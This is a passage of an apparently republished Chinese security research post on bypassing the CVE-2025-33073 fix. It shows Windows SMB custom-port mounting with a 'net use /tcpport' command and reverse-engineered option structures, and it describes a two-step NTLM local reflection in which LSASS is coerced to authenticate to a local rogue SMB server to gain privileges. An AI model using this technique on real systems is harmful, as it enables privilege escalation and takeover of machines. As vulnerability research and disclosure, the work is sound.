src="https://wechat2rss.xlab.app/img-proxy/?k=e1f397a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgZZvdLfibRzlAMRfjo4LrH2SqXeGG5TLYsfZiayibH7n4qjVWqyO6gYFnUakEGvdxibnIxdWRmoL5x2I0ZnPOQ7LE8PaqtZVG2p9c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">应用于 CVE-2025-33073 的绕过方法论。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本地反射</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SMB 客户端的任意连接端口</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在我们沿着这条思路深入研究的过程中，James Forshaw 此前发表的一篇博客立刻浮现在我们脑海中。在那篇文章里，他描述了对一项老旧技术的改进，该技术利用远程 SMB 服务器来延迟对文件数据的访问，从而推迟对虚拟内存的读取。这项改进利用了一个相对较新的功能 —— 该功能在 Windows 11 24H2 和 Windows Server 2025 中引入，允许在连接 SMB 共享时指定一个任意端口。这正是我们所需要的！</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">任何 Windows 系统的用户都可以使用这一新功能。例如，要在 12345 端口上挂载远程 SMB 共享，可以执行以下命令：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">C:</span><span style="color: rgb(0, 92, 197);"><span leaf="">\&gt;</span></span><span leaf=""> net use </span><span style="color: rgb(0, 92, 197);"><span leaf="">\\</span></span><span leaf="">192.168.56.3</span><span style="color: rgb(0, 92, 197);"><span leaf="">\s</span></span><span leaf="">hare /tcpport:12345</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在实现层面，为引入这一功能，Microsoft 同时修改了用户态和内核态的多个组件。要建立到远程共享的连接，需要调用 WNetAddConnection4W 函数，并在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">lpUseOptions</span></code><span leaf="">参数中传入一个未公开文档的数据缓冲区。该缓冲区是以下结构体的数组：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">USE_OPTION</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  DWORD OptionType;</span><span leaf=""><br/></span><span leaf="">  DWORD </span><span style="color: rgb(0, 92, 197);"><span leaf="">Size</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  BYTE OptionData[];</span><span leaf=""><br/></span><span leaf="">};</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">目前，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OptionType</span></code><span leaf="">已实现的取值有四种：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TraP</span></code><p><span leaf="">:传输 ( transport ) 参数。该选项类型中，除其他内容外，还包含用于 SMB 连接的任意 TCP 端口。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DefC</span></code><p><span leaf="">:延迟连接 ( deferred connection ) 参数。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ComP</span></code><p><span leaf="">:压缩 ( compression ) 参数。</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BloN</span></code><p><span leaf="">:NTLM 阻断 ( NTLM blocking ) 参数。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Size</span></code><span leaf="">参数等于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">USE_OPTION</span></code><span leaf="">头部大小 ( 8 字节 ) 加上实际选项数据大小。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在本次研究中，我们仅对传输参数对应的数据结构进行了逆向分析：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">TRANSPORT_USE_OPTION</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  DWORD TransportType;</span><span leaf=""><br/></span><span leaf="">  BOOLEAN SkipCertCheck;</span><span leaf=""><br/></span><span leaf="">  WORD TcpPort;</span><span leaf=""><br/></span><span leaf="">  WORD QuicPort;</span><span leaf=""><br/></span><span leaf="">  WORD RdmaPort;</span><span leaf=""><br/></span><span leaf="">  DWORD PortTypes;</span><span leaf=""><br/></span><span leaf="">};</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其中 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TransportType</span></code><span leaf="">字段的取值如下：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">1 表示 TCP。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">2 表示 QUIC。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PortTypes</span></code><span leaf="">字段是以下数值的组合：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">1 表示 TCP。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2 表示 QUIC。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">4 表示 RDMA。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">存放于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">lpUseOptions</span></code><span leaf="">中的数据会被传递给 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntlanman!LmCreateEABufferForUseOptions</span></code><span leaf="">函数。该函数解析输入缓冲区，并构造一个新的缓冲区，稍后通过 FSCTL 提交至内核。最终，SMB 客户端会接收到该缓冲区，并在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">mrxsmb!MRxSmbSetNetUseSpecifiedTransportInfo</span></code><span leaf="">中对其进行解析，以判断是否需要在替代端口上建立连接。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">有趣的是，在谈到这一功能时，James 还提到：</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">我个人认为，默认开启它是一个错误，未来还会回来给 Windows 制造麻烦。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">事实证明，他一如往常地说对了。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012229" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.9657407407407408" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9643803c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjnv0icQypVfCCB0gRzyBOibOicCmIBAfnJhafQvm0RGiaicuLsnf9U3oERffzvheiaDoLSfjCpcAH6KB6WC6LicsrKqxI5T6agxR6x2o%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">默认开启这一功能是一个错误。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因此，攻击思路是：在本地搭建一个监听非 445 端口的 SMB 服务器，然后强制让一个特权服务向其发起认证。然而，我们随即遇到了下面这个问题：如何告诉特权服务必须连接到我们位于自定义端口上的服务器，而不是默认的 445 端口？事实上，要强制一个服务向任意 SMB 共享发起认证，我们通常会让它以 UNC 语法 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">\\IP\SHARE</span></code><span leaf="">) 提供一个文件路径，并尝试打开该文件。而 UNC 语法并不允许指定端口 ( WebDAV 共享除外 )。此外，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">net use</span></code><span leaf="">仅作用于当前用户会话：出于显而易见的安全原因，某个用户不能访问另一个用户已认证的 SMB 会话。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SMB 多路复用</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">事实证明，这其实根本不是问题！官方规范 MS-SMB2 ( 第 3.2.4.2 节 ) 写道：</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">如果正在建立一条新会话，客户端</span><strong><span leaf="">可以</span></strong><span leaf="">复用现有连接，使多个会话在同一连接上多路复用。如果不复用现有连接，客户端可以为新会话建立一条新连接。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">换言之，</span><strong><span leaf="">SMB 区分 TCP 连接与已认证会话</span></strong><span leaf="">:多个已认证的会话可以共用同一条 TCP 连接作为传输通道。此外，Windows 的 SMB 客户端会复用 TCP 连接。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本地权限提升</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">整个利用策略主要分为两个步骤：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">在本地 12345 端口启动一个 SMB 服务器，并将其挂载。这会让 SMB 客户端建立一条到我们这个共享的 TCP 连接，并将其保持打开，以便后续复用。需要注意的是，这一步并不需要持有有效凭证：本地共享可以配置为接受指定凭证 ( 例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user:user</span></code><span leaf="">),然后再调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">net use</span></code><span leaf="">用相同的凭证完成认证。</span></p></li></ol><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012230" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.524074074074074" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8057ad86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShHIaz8ustAiafpzibTGsPIUvvCDcrrkSLCJRyWrDVCc71GXxI63U0HlS7xOwYZeYQ9LJlY8K8Ks1fVX0wlxGYA05KbF3ibxYz8dE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">NTLM 本地反射的步骤一。</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">迫使一个特权服务 ( 例如 LSASS ) 向先前所挂载的同一共享发起认证。这里必须使用相同的共享路径，以便 SMB 客户端复用之前在挂载该共享时所建立的同一条 TCP 连接。该服务会向我们自定义的 SMB 服务器发起认证，而 NTLM 本地认证会被转发到机器自身真正的 SMB 服务上，最终得到一条特权 SMB 会话，从而将该机器攻陷。</span></p></li></ol><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 